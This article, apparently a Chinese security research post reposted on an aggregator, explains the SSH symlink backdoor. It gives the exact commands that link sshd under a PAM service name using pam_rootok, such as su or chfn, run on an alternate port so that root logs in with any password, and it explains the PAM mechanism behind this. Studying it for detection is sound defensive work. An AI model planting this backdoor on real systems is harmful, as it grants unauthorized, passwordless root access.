6

SSH软链接后门利用和原理

 3 years ago
source link: https://www.heibai.org/2029.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

SSH软链接后门利用和原理

广州锦行网络科技有限公司 2021-08-18

本文由锦行科技的安全研究团队提供,主要介绍SSH软连接后门的利用和相关原理。

00 利用前提

ssh配置中开启了PAM进行身份验证

查看是否使用PAM进行身份验证:cat/etc/ssh/sshd_config|grep UsePAM

01 建立后门

建立软连接后门:ln-sf/usr/sbin/sshd/tmp/su;/tmp/su-oPort=1234

注意:软链接的路径不是绝对的,但名字不是随便命名的,使用命令find/etc/pam.d|xargs grep "pam_rootok",出现的则可以用作软链接名称

ActionScript
# find /etc/pam.d |xargs grep "pam_rootok"                           123 ⨯
grep: /etc/pam.d: 是一个目录
/etc/pam.d/su:auth       sufficient pam_rootok.so
/etc/pam.d/su:# permitted earlier by e.g. "sufficient pam_rootok.so").
/etc/pam.d/runuser:auth         sufficient      pam_rootok.so
/etc/pam.d/chsh:auth            sufficient      pam_rootok.so
/etc/pam.d/chfn:auth            sufficient      pam_rootok.so
ActionScript
使用root执行命令
# ln -sf /usr/sbin/sshd /tmp/chfn;/tmp/chfn -oPort=1234
然后使用ssh任意密码连接1234端口登录root账户

02 原理

1.pam_rootok.so模块

   pam_rootok.so主要作用是使得uid为0的用户,即root用户可以直接通过认证而不需要输入密码。

我们查看/etc/pam.d/su 文件中,我们可以看到使用了该模块,这也是为什么root用户切换至普通用户不需要密码的原因。

20210818170744162927766450919.jpg

1.PAM认证机制,若sshd服务中开启了PAM认证机制(默认开启),当程序执行时,PAM模块则会搜寻PAM相关设定文件,设定文件一般是在/etc/pam.d/。若关闭则会验证密码,无法建立软链接后门。

2.当我们通过特定的端口连接ssh后,应用在启动过程中就会去找到配置文件,如:我们的软链接文件为/tmp/su,那么应用就会找/etc/pam.d/su作为配置文件,那么则实现了无密登录。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK